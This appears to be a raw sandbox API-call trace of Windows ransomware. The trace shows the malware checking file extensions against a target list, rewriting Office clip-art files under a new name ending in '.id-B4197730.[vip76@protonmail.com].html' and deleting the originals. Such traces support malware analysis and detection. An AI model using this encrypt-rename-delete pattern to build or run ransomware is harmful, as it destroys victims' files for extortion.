	[0179.773] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.773] lstrlenW (lpString=".xlsx") returned 5
	[0179.773] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0179.773] lstrlenW (lpString=".ppt") returned 4
	[0179.773] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0179.773] lstrlenW (lpString=".zip") returned 4
	[0179.773] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.773] lstrlenW (lpString=".rar") returned 4
	[0179.773] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.773] lstrlenW (lpString=".bz2") returned 4
	[0179.773] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.773] lstrlenW (lpString=".7z") returned 3
	[0179.773] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0179.773] lstrlenW (lpString=".dbf") returned 4
	[0179.773] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0179.773] lstrlenW (lpString=".1cd") returned 4
	[0179.773] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0179.773] lstrlenW (lpString=".jpg") returned 4
	[0179.773] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.773] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0179.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0179.774] lstrlenW (lpString=".doc") returned 4
	[0179.774] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.774] lstrlenW (lpString=".docx") returned 5
	[0179.774] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0179.774] lstrlenW (lpString=".pdf") returned 4
	[0179.774] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.774] lstrlenW (lpString=".xls") returned 4
	[0179.774] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.774] lstrlenW (lpString=".xlsx") returned 5
	[0179.774] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0179.774] lstrlenW (lpString=".ppt") returned 4
	[0179.774] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0179.774] lstrlenW (lpString=".zip") returned 4
	[0179.774] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.774] lstrlenW (lpString=".rar") returned 4
	[0179.774] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.774] lstrlenW (lpString=".bz2") returned 4
	[0179.774] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.774] lstrlenW (lpString=".7z") returned 3
	[0179.774] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0179.774] lstrlenW (lpString=".dbf") returned 4
	[0179.774] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0179.774] lstrlenW (lpString=".1cd") returned 4
	[0179.774] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.774] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68
	[0179.774] lstrlenW (lpString=".jpg") returned 4
	[0179.774] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.775] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0179.775] lstrlenW (lpString="IN00957_.WMF") returned 12
	[0179.775] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0179.776] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=2944) returned 1
	[0179.776] CloseHandle (hObject=0x580) returned 1
	[0179.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 0x220
	[0179.780] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0179.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0179.780] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.780] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0179.781] GetLastError () returned 0x0
	[0179.781] ReadFile (in: hFile=0x580, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0xb80, lpOverlapped=0x0) returned 1
	[0179.783] WriteFile (in: hFile=0x4a8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xb90, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xb90, lpOverlapped=0x0) returned 1
	[0179.784] ReadFile (in: hFile=0x580, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0179.784] WriteFile (in: hFile=0x4a8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0179.784] SetEndOfFile (hFile=0x4a8) returned 1
	[0179.784] CloseHandle (hObject=0x4a8) returned 1
	[0179.784] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0179.784] SetEndOfFile (hFile=0x580) returned 1
	[0179.787] CloseHandle (hObject=0x580) returned 1
	[0179.787] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0179.787] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00957_.wmf")) returned 1
	[0179.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0179.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0179.788] lstrlenW (lpString=".doc") returned 4
	[0179.788] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.788] lstrlenW (lpString=".docx") returned 5
	[0179.788] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0179.788] lstrlenW (lpString=".pdf") returned 4
	[0179.788] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.788] lstrlenW (lpString=".xls") returned 4
	[0179.788] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.788] lstrlenW (lpString=".xlsx") returned 5
	[0179.788] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0179.788] lstrlenW (lpString=".ppt") returned 4
	[0179.788] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.788] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0179.788] lstrlenW (lpString=".zip") returned 4
	[0179.788] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.788] lstrlenW (lpString=".rar") returned 4
	[0179.788] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.789] lstrlenW (lpString=".bz2") returned 4
	[0179.789] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.789] lstrlenW (lpString=".7z") returned 3
	[0179.789] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0179.789] lstrlenW (lpString=".dbf") returned 4
	[0179.789] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0179.789] lstrlenW (lpString=".1cd") returned 4
	[0179.789] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0179.789] lstrlenW (lpString=".jpg") returned 4
	[0179.789] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0179.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0179.789] lstrlenW (lpString=".doc") returned 4
	[0179.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0179.789] lstrlenW (lpString=".docx") returned 5
	[0179.789] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0179.789] lstrlenW (lpString=".pdf") returned 4
	[0179.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0179.789] lstrlenW (lpString=".xls") returned 4
	[0179.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0179.789] lstrlenW (lpString=".xlsx") returned 5
	[0179.789] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0179.789] lstrlenW (lpString=".ppt") returned 4
	[0179.789] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0179.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0179.789] lstrlenW (lpString=".zip") returned 4
	[0179.789] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0179.789] lstrlenW (lpString=".rar") returned 4
	[0179.789] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0179.790] lstrlenW (lpString=".bz2") returned 4
	[0179.790] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0179.790] lstrlenW (lpString=".7z") returned 3
	[0179.790] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0179.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0179.790] lstrlenW (lpString=".dbf") returned 4
	[0179.790] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0179.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0179.790] lstrlenW (lpString=".1cd") returned 4
	[0179.790] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0179.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00957_.WMF") returned 68
	[0179.790] lstrlenW (lpString=".jpg") returned 4
	[0179.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0179.790] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0179.790] lstrlenW (lpString="J0075478.GIF") returned 12
	[0179.790] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0180.241] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=1220) returned 1
	[0180.241] CloseHandle (hObject=0x5b4) returned 1
	[0180.252] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 0x220
	[0180.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0180.260] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.260] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0180.260] GetLastError () returned 0x0
	[0180.260] ReadFile (in: hFile=0x5b4, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x4c4, lpOverlapped=0x0) returned 1
	[0180.262] WriteFile (in: hFile=0x4a8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x4d0, lpOverlapped=0x0) returned 1
	[0180.263] ReadFile (in: hFile=0x5b4, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.263] WriteFile (in: hFile=0x4a8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.263] SetEndOfFile (hFile=0x4a8) returned 1
	[0180.263] CloseHandle (hObject=0x4a8) returned 1
	[0180.263] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.264] SetEndOfFile (hFile=0x5b4) returned 1
	[0180.266] CloseHandle (hObject=0x5b4) returned 1
	[0180.266] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.267] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0075478.gif")) returned 1
	[0180.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0180.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0180.267] lstrlenW (lpString=".doc") returned 4
	[0180.267] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0180.267] lstrlenW (lpString=".docx") returned 5
	[0180.268] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1
	[0180.268] lstrlenW (lpString=".pdf") returned 4
	[0180.268] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0180.268] lstrlenW (lpString=".xls") returned 4
	[0180.268] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0180.268] lstrlenW (lpString=".xlsx") returned 5
	[0180.268] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1
	[0180.268] lstrlenW (lpString=".ppt") returned 4
	[0180.268] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0180.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0180.268] lstrlenW (lpString=".zip") returned 4
	[0180.268] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0180.268] lstrlenW (lpString=".rar") returned 4
	[0180.268] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0180.268] lstrlenW (lpString=".bz2") returned 4
	[0180.268] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0180.268] lstrlenW (lpString=".7z") returned 3
	[0180.268] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0180.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0180.268] lstrlenW (lpString=".dbf") returned 4
	[0180.268] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0180.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0180.268] lstrlenW (lpString=".1cd") returned 4
	[0180.268] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0180.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0180.268] lstrlenW (lpString=".jpg") returned 4
	[0180.268] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0180.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0180.268] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0180.268] lstrlenW (lpString=".doc") returned 4
	[0180.268] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0180.268] lstrlenW (lpString=".docx") returned 5
	[0180.268] lstrcmpiW (lpString1=".docx", lpString2="8.GIF") returned -1
	[0180.269] lstrlenW (lpString=".pdf") returned 4
	[0180.269] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0180.269] lstrlenW (lpString=".xls") returned 4
	[0180.269] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0180.269] lstrlenW (lpString=".xlsx") returned 5
	[0180.269] lstrcmpiW (lpString1=".xlsx", lpString2="8.GIF") returned -1
	[0180.269] lstrlenW (lpString=".ppt") returned 4
	[0180.269] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0180.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0180.269] lstrlenW (lpString=".zip") returned 4
	[0180.269] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0180.269] lstrlenW (lpString=".rar") returned 4
	[0180.269] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0180.269] lstrlenW (lpString=".bz2") returned 4
	[0180.269] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0180.269] lstrlenW (lpString=".7z") returned 3
	[0180.269] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0180.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0180.269] lstrlenW (lpString=".dbf") returned 4
	[0180.269] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0180.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0180.269] lstrlenW (lpString=".1cd") returned 4
	[0180.269] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0180.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0075478.GIF") returned 68
	[0180.269] lstrlenW (lpString=".jpg") returned 4
	[0180.269] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0180.269] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0180.269] lstrlenW (lpString="J0086432.WMF") returned 12
	[0180.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0180.271] GetFileSizeEx (in: hFile=0x5b4, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=33434) returned 1
	[0180.271] CloseHandle (hObject=0x5b4) returned 1
	[0180.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 0x220
	[0180.271] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0180.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b4
	[0180.271] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.271] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0180.272] GetLastError () returned 0x0
	[0180.272] ReadFile (in: hFile=0x5b4, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x829a, lpOverlapped=0x0) returned 1
	[0180.275] WriteFile (in: hFile=0x4a8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x82a0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x82a0, lpOverlapped=0x0) returned 1
	[0180.276] ReadFile (in: hFile=0x5b4, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.277] WriteFile (in: hFile=0x4a8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0180.277] SetEndOfFile (hFile=0x4a8) returned 1
	[0180.277] CloseHandle (hObject=0x4a8) returned 1
	[0180.277] SetFilePointerEx (in: hFile=0x5b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.277] SetEndOfFile (hFile=0x5b4) returned 1
	[0180.280] CloseHandle (hObject=0x5b4) returned 1
	[0180.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0180.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086432.wmf")) returned 1
	[0180.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0180.281] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0180.281] lstrlenW (lpString=".doc") returned 4
	[0180.281] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0180.281] lstrlenW (lpString=".docx") returned 5
	[0180.282] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0180.282] lstrlenW (lpString=".pdf") returned 4
	[0180.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
